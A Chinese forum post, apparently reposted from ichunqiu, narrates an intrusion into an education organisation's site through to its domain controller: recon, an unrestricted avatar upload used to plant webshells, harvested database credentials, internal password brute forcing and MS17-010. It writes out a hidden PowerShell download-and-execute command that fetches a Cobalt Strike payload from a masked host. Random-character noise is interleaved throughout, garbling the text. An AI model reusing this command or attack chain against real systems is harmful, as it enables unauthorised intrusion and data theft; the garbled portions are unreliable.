: d5 t& v1 u2 j! A$ d6 `* W' F; K 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
2 F& J" w, D Z7 P$ `" ?* G 0 O1 H' Z% g+ Z( `3 Q* ^2 L {$ Z
" x. O% y" c, h1 E9 E* T0 M# l, |6 E& w正文
9 g$ f8 S* q+ @5 [ d5 L2 V0 W
目标:www.xxxx.com(一家教育机构)
8 X) y( {3 K$ R; K- B2 Q9 T5 Q' M
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能: A& {+ l( y5 s* F
7 |4 ?6 s, o8 q) A& [2 B6 c
进行了简单的信息搜集
$ l0 j1 S& v8 n9 [* a
9 ~ }3 h4 J" F; T n" h* c8 ]
子域名搜集4 Z( N; e% ~& Y
, B% H0 d1 g6 F+ p! q$ z$ Y9 C! @8 ~; l7 U$ U" t
+ |: Y$ M- {3 T0 M; l. M+ @
; J" [( Q; Y# i) u
fofa找资产
) t3 X% V' p# a! O
7 p* p+ Y: e0 J2 v( s; N& O3 {+ m
* E- y9 c8 E( h1 V8 P) c' D
+ L9 s0 I! ? k
一共七个资产。去重之后只有两个。
目录探测
+ M7 P6 H) Y, e! r1 i
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
6 N5 |6 C/ @) ~$ E9 v* f( P- F. j
4 `4 w5 J0 O# H- d
6 [) L: i8 |6 B! g* q$ R 我又尝试了通过修改返回包来绕过登录界面1 T+ ~( _5 U+ q+ ]: `3 }2 h' ^
/ \% G* X7 G! u# K, {7 x' W5 U8 ~2 [
# W( @( D, m* c. \0 o5 j
1 o4 E' G- q0 Q: v# o/ q6 @% u 还是不行,尝试注入无果
I* X! J# H+ m0 ~7 X, h
7 w6 x: E3 N, Y: W
$ r8 f6 U: T; u+ A
不过我目录探测出了一处Spring信息泄露
8 R6 ?0 z2 g; k' g" Q4 {
8 F* ~2 a" Y% M+ s1 l
4 l4 Q. Z7 `+ \" R1 m/ q 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录
9 r7 ]( [) R: g% q5 d* m' a N+ g$ G4 \
4 P1 }/ {# X" S: e 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。/ k5 S1 x4 ?& {
+ x: T! n0 v a9 }9 A( H" X! S
获取有些师傅到这一步就手机抓包电脑测了。
# M3 K4 k" L7 a0 }* N7 ^$ o Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。# O# A a1 o( }2 j8 h
其中在一个公众号发现了小程序,可以进行注册。1 V5 |) M; {8 o8 w0 I! U( M6 R/ t. w
1 @2 e! i* [# B M% `/ _& Q' r2 q1 m4 X9 N# s% S) C 看到了头像上传,尝试上传获取WebShell
9 R9 m6 {( w# \5 \5 a$ h- v
% n" O2 z1 T+ }3 x. _ x- P( ?7 h
未做任何限制成功GetShell,上了冰蝎马,目录没权限访问$ K4 ~- B2 ]7 N2 y; ^0 D
$ o2 w2 P1 P, }4 U# j: W
! k) @' ~# g. N- t5 x
$ D Z8 [6 F& ~$ b 然后上了大马$ b9 }& p3 l( L
5 h0 @3 Y1 m+ J4 Z. \* ?# z& R, \
( q8 U/ i( a8 D0 X( Y
" K! i9 A6 O2 m/ k4 w) w3 K
通过翻找文件发现数据库账号密码8 i! u. m& b$ |" A, t
4 P* H, P- x9 S3 S6 _- H% E, w& R3 D2 p/ p1 a9 N6 j. u" ~
3 ]5 Q- ^2 H2 p* F, w- | --内网渗透
& N6 c- B1 R8 I( n* Y j, [直接通过powershell执行 cs上线" M: R, i! r. U6 {9 D$ S0 i& E f
8 X2 e% H; T' c5 k) J: n; ?% H. wO( Y2 i" W* m% n: ?6 J powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
3 ~& i, X: s4 ]; ]* @. w' d
M) P: L! x. d, N( ?2 s3 g
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破* A8 V5 A5 D' t |8 G& x3 a
3 v9 z3 v* P2 c4 D7 g( D3 {
' D# u! L; j/ _* G
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
, v, [5 \; H- A0 Z
. W$ v8 `9 r9 Z* s
# t3 @9 w0 X- J! p& s; U
% p( \* G1 U: b0 C( V; J X
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
1 o( z8 Z4 J9 S& q E" l: j
5 n+ S% [ C* `% @6 @7 F% q
/ U3 b/ j4 b0 C# S
$ R) ]" m' }& }; c" v0 S 9 l$ R# h7 ], w
9 q4 U1 |1 s; a# p, ^0 z4 _% D小结
5 P* s1 G5 S8 \) k* k0 E( y1 p 9 h/ A/ d7 F& R) U# p; G9 O
$ `( T, Z, f! h% ?在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!
9 m6 N1 c/ g+ F! {4 e/ E7 X5 C
) p+ K; C9 J$ o$ V 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html/ ]8 }* `: k7 S
1 E4 ? S% y6 @1 P
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |